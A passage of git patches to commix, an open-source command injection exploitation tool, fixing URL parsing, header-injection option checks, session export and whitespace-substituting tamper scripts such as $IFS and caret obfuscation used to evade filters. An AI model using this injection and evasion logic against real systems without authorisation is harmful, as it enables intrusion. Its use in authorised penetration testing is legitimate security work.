settings.FORBIDDEN_ERROR or \ @@ -914,8 +914,12 @@ def continue_tests(err): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True + message = "" + if str(err.code) == settings.NOT_FOUND_ERROR: + message = "It is not recommended to continue in this kind of cases. " + while True: - message = "Do you want to ignore the response HTTP error code '" + str(err.code) + message += "Do you want to ignore the response HTTP error code '" + str(err.code) message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: diff --git a/src/core/main.py b/src/core/main.py index b6039f29e9..2529345212 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -998,6 +998,8 @@ def main(filename, url, http_request_method): message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: + info_msg = "Testing URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break elif next_url in settings.CHOICE_NO: perform_check = False diff --git a/src/utils/settings.py b/src/utils/settings.py index bbf8bc1eb0..104c069396 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "95" +REVISION = "96" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d847f1535f7a0bf1d1b1ac45219d85b6195fea74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 Sep 2024 07:20:40 +0300 Subject: [PATCH 0496/1023] Fixes https://github.com/commixproject/commix/issues/963 --- src/utils/menu.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 18f9721f78..f57151b6c3 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -539,6 +539,7 @@ def banner(): "used to customize the detection phase.") detection.add_option("--level", + type="int", dest="level", default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") diff --git a/src/utils/settings.py b/src/utils/settings.py index 104c069396..ec39b307f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "96" +REVISION = "97" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a319b99bb9c3fb5a18f411f57dee810957410874 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Oct 2024 08:14:09 +0300 Subject: [PATCH 0497/1023] Fixes https://github.com/commixproject/commix/issues/949 --- src/core/injections/controller/checks.py | 95 +++++++++++++----------- src/core/main.py | 4 +- src/utils/settings.py | 2 +- 3 files changed, 55 insertions(+), 46 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 59cf81bfde..0cd485b136 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -730,33 +730,6 @@ def url_decode(payload): payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload -""" -Checking connection (resolving hostname). -""" -def check_connection(url): - hostname = _urllib.parse.urlparse(url).hostname or '' - if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): - if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): - try: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Resolving hostname '" + hostname + "'." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - socket.getaddrinfo(hostname, None) - except socket.gaierror: - err_msg = "Host '" + hostname + "' does not exist." - if not settings.MULTI_TARGETS: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except socket.error: - err_msg = "Problem occurred while " - err_msg += "resolving a host name '" + hostname + "'" - except UnicodeError: - err_msg = "Problem occurred while " - err_msg += "handling a host name '" + hostname + "'" - if not settings.MULTI_TARGETS: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check current assessment phase. """ @@ -1063,34 +1036,45 @@ def check_CGI_scripts(url): else: common.invalid_option(shellshock_check) pass - if not _: menu.options.shellshock = False +def check_url(url): + try: + return _urllib.parse.urlsplit(url) + except ValueError as ex: + err_msg = "Invalid target URL has been given. " + err_msg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " + err_msg += "in the hostname part." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if http / https. """ def check_http_s(url): + url_split = check_url(url) + if url_split.username and url_split.password and "@" in url_split.netloc: + url = url.replace(url_split.netloc,url_split.netloc.split("@")[1]) + if settings.SINGLE_WHITESPACE in url: url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + if not menu.options.proxy and (_urllib.parse.urlparse(url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy): + menu.options.ignore_proxy = True + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: - try: - if re.search(r'^(?:http)s?://', url, re.I): - if not re.search(r"^https?://", url, re.I) and not re.search(r"^wss?://", url, re.I): - if re.search(r":443\b", url): - url = "https://" + url - else: - url = "http://" + url - settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" - else: - err_msg = "Invalid target URL has been given." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ValueError as err: - err_msg = "Problem occurred while parsing target URL." + if re.search(r'^(?:http)s?://', url, re.I): + if not re.search(r"^(http|ws)s?://", url, re.I): + if re.search(r":443\b", url): + url = "https://" + url + else: + url = "http://" + url + settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https" + else: + err_msg = "Invalid target URL has been given. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1102,6 +1086,33 @@ def check_http_s(url): return url +""" +Checking connection (resolving hostname). +""" +def check_connection(url): + hostname = _urllib.parse.urlparse(url).hostname or '' + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): + if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): + try: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resolving hostname '" + hostname + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + socket.getaddrinfo(hostname, None) + except socket.gaierror: + err_msg = "Host '" + hostname + "' does not exist." + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except socket.error: + err_msg = "Problem occurred while " + err_msg += "resolving a host name '" + hostname + "'" + except UnicodeError: + err_msg = "Problem occurred while " + err_msg += "handling a host name '" + hostname + "'" + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Force the user-defined operating system. """ diff --git a/src/core/main.py b/src/core/main.py index 2529345212..e4360a9590 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -702,10 +702,8 @@ def main(filename, url, http_request_method): raise SystemExit() if not menu.options.proxy: - if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: - menu.options.ignore_proxy = True # Check if defined Tor (--tor option). - elif menu.options.tor: + if menu.options.tor: if menu.options.tor_port: settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT diff --git a/src/utils/settings.py b/src/utils/settings.py index ec39b307f3..830218c508 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "97" +REVISION = "98" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9fc625e7c01694cefa66ba301a63a2d6791cc2ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Oct 2024 08:34:05 +0300 Subject: [PATCH 0498/1023] Fixes https://github.com/commixproject/commix/issues/952 --- src/core/tamper/base64encode.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/space2htab.py | 10 ++++++---- src/core/tamper/space2ifs.py | 23 ++++++++++++----------- src/core/tamper/space2plus.py | 12 +++++++----- src/core/tamper/space2vtab.py | 20 +++++++++++--------- src/utils/settings.py | 9 +++++---- 7 files changed, 43 insertions(+), 35 deletions(-) diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 59d19e14cb..f55496ab4b 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -29,7 +29,7 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.WHITESPACES[0] == "+": + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b07d076d2b..3aac4fe9b6 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -29,7 +29,7 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.WHITESPACES[0] == "+": + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c5409e067a..00bb24e5b1 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with horizontal tab ('%09') @@ -28,10 +29,11 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = space2htab - elif space2htab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2htab) + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2htab + elif space2htab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2htab) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 3d459537fc..65a79a4167 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with the internal field separator ('$IFS'). @@ -29,18 +30,18 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if space2ifs in settings.WHITESPACES[0] and \ - settings.EVAL_BASED_STATE != False: - settings.WHITESPACES[0] = space2ifs - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": + if len(settings.WHITESPACES) != 0: + if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = space2ifs - elif space2ifs not in settings.WHITESPACES: - settings.WHITESPACES.append(space2ifs) - else: - if space2ifs in settings.WHITESPACES: - settings.WHITESPACES.remove(space2ifs) + if settings.TARGET_OS != settings.OS.WINDOWS: + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2ifs + elif space2ifs not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifs) + else: + if space2ifs in settings.WHITESPACES: + settings.WHITESPACES.remove(space2ifs) return payload # eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index c18e9cab9e..ce3ec4c88e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with plus ('+'). @@ -21,17 +22,18 @@ """ __tamper__ = "space2plus" -space2plus = "+" +space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = space2plus - elif space2plus not in settings.WHITESPACES: - settings.WHITESPACES.append(space2plus) + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2plus + elif space2plus not in settings.WHITESPACES: + settings.WHITESPACES.append(space2plus) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 8e689afd41..bdb7688f12 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with vertical tab ('%0b'). @@ -27,15 +28,16 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = space2vtab - elif space2vtab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2vtab) - else: - if space2vtab in settings.WHITESPACES: - settings.WHITESPACES.remove(space2vtab) + if len(settings.WHITESPACES) != 0: + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2vtab + elif space2vtab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2vtab) + else: + if space2vtab in settings.WHITESPACES: + settings.WHITESPACES.remove(space2vtab) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 830218c508..7d9a9b7b13 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "98" +REVISION = "99" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -549,11 +549,12 @@ class OS(object): # Raw payload (without tampering) RAW_PAYLOAD = "" -# The default (url-ecoded) white-space. -WHITESPACES = ["%20"] - +# Single whitespace SINGLE_WHITESPACE = " " +# The default (url-ecoded) white-space. +WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] + # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" From d233b3c579ccd599e7d7fabac6edd0186391e472 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Oct 2024 08:05:54 +0300 Subject: [PATCH 0499/1023] Fixes https://github.com/commixproject/commix/issues/966 --- src/core/injections/controller/controller.py | 12 ++++++------ src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0701ea9be0..e8ad20afbb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -478,18 +478,18 @@ def host_injection(url, http_request_method, filename, timesec): else: # User-Agent HTTP header injection if settings.USER_AGENT_INJECTION or \ - menu.options.test_parameter and settings.USER_AGENT.lower() in menu.options.test_parameter.lower() or \ - menu.options.skip_parameter and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): + (type(menu.options.test_parameter) is str and settings.USER_AGENT.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower()): user_agent_injection(url, http_request_method, filename, timesec) # Referer HTTP header injection if settings.REFERER_INJECTION or \ - menu.options.test_parameter and settings.REFERER.lower() in menu.options.test_parameter.lower() or \ - menu.options.skip_parameter and settings.REFERER.lower() not in menu.options.skip_parameter.lower(): + (type(menu.options.test_parameter) is str and settings.REFERER.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.REFERER.lower() not in menu.options.skip_parameter.lower()): referer_injection(url, http_request_method, filename, timesec) # Host HTTP header injection if settings.HOST_INJECTION or \ - menu.options.test_parameter and settings.HOST.lower() in menu.options.test_parameter.lower() or \ - menu.options.skip_parameter and settings.HOST.lower() not in menu.options.skip_parameter.lower(): + (type(menu.options.test_parameter) is str and settings.HOST.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.HOST.lower() not in menu.options.skip_parameter.lower()): host_injection(url, http_request_method, filename, timesec) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 7d9a9b7b13..cdeadfc894 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "99" +REVISION = "100" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8de41bdc7ae2d4e7c14fe0eea55bd6ba3be16b90 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 19 Oct 2024 08:27:36 +0300 Subject: [PATCH 0500/1023] Fixes https://github.com/commixproject/commix/issues/967 --- src/core/tamper/caret.py | 20 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index cc965b166b..9eb272a0f3 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -35,16 +35,16 @@ def add_caret_symbol(payload): long_string = "" if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word)) - rep = { - "^^": "^", - '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', - '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") - } - payload = re.sub(r'([b-zD-Z])', r'^\1', payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + rep = { + "^^": "^", + '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', + re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") + } + payload = re.sub(r'([b-zD-Z])', r'^\1', payload) + rep = dict((re.escape(k), v) for k, v in rep.items()) + pattern = re.compile("|".join(rep.keys())) + payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload if settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/utils/settings.py b/src/utils/settings.py index cdeadfc894..da02ec8321 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "100" +REVISION = "101" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3814f6cc63b9bdf34ee9db388afbd499aca93764 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 21 Oct 2024 08:22:11 +0300 Subject: [PATCH 0501/1023] Fixes https://github.com/commixproject/commix/issues/969 --- src/core/injections/controller/handler.py | 4 ++-- src/utils/session_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index c9c2325528..68d23ce25c 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -394,7 +394,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t if not settings.LOAD_SESSION: shell = "" checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - session_handler.import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -643,7 +643,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Export session if not settings.LOAD_SESSION: checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - session_handler.import_injection_points(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] cmd = maxlen = "" diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 28c885b2c7..252caf7719 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -101,7 +101,7 @@ def clear(url): """ Import successful injection points to session file. """ -def import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): +def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ diff --git a/src/utils/settings.py b/src/utils/settings.py index da02ec8321..e596cb04cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "101" +REVISION = "102" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3504196126b7bbb2bfa895f0a486b446aac7714b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 22 Oct 2024 08:10:51 +0300 Subject: [PATCH 0502/1023] https://github.com/commixproject/commix/issues/971 --- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cb0b594c22..cc40128cf5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -188,6 +188,7 @@ def vuln_GET_param(url): elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] @@ -493,6 +494,7 @@ def vuln_POST_param(parameter, url): if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): pairs = parameter.split(settings.PARAMETER_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] @@ -706,6 +708,7 @@ def specify_cookie_parameter(cookie): if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] diff --git a/src/utils/settings.py b/src/utils/settings.py index e596cb04cd..c2f44aa63d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "102" +REVISION = "103" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 56c063835a332800a300185561977edb9bccf212 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 23 Oct 2024 07:30:52 +0300 Subject: [PATCH 0503/1023] Minor bug-fix --- src/core/injections/controller/checks.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0cd485b136..b3c7ea1676 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -114,6 +114,7 @@ def payload_fixation(payload): return payload """ +Get response output """ def get_response(output): request = _urllib.request.Request(output) @@ -3160,7 +3161,7 @@ def use_bin_subdir(nc_alternative, shell): return nc_alternative, shell elif enable_bin_subdir in settings.CHOICE_NO: return nc_alternative, shell - elif enable_bin_dir in settings.CHOICE_QUIT: + elif enable_bin_subdir in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(enable_bin_subdir) diff --git a/src/utils/settings.py b/src/utils/settings.py index c2f44aa63d..3ed0f120d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "103" +REVISION = "104" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c92510d8671d5ce0f721f7211ffea398a8ca862e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 24 Oct 2024 07:43:58 +0300 Subject: [PATCH 0504/1023] Fixes https://github.com/commixproject/commix/issues/970 --- src/core/injections/controller/checks.py | 6 +++++- src/core/injections/controller/injector.py | 8 ++++---- src/core/injections/controller/shell_options.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_handler.py | 1 + src/utils/settings.py | 2 +- 5 files changed, 14 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b3c7ea1676..c5008d4329 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -93,7 +93,11 @@ def check_waf(url, http_request_method): Check injection technique(s) status. """ def injection_techniques_status(): - if settings.CLASSIC_STATE != True and settings.EVAL_BASED_STATE != True and settings.TIME_BASED_STATE != True and settings.FILE_BASED_STATE != True: + if settings.CLASSIC_STATE != True and \ + settings.EVAL_BASED_STATE != True and \ + settings.TIME_BASED_STATE != True and \ + settings.FILE_BASED_STATE != True and \ + settings.TEMPFILE_BASED_STATE != True : return False else: return True diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 3746fd81c6..f9c038f027 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -175,7 +175,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.results_based.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads @@ -183,12 +183,12 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads if alter_shell: - if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd) else: payload = payloads.cmd_execution_alter_shell(separator, cmd, 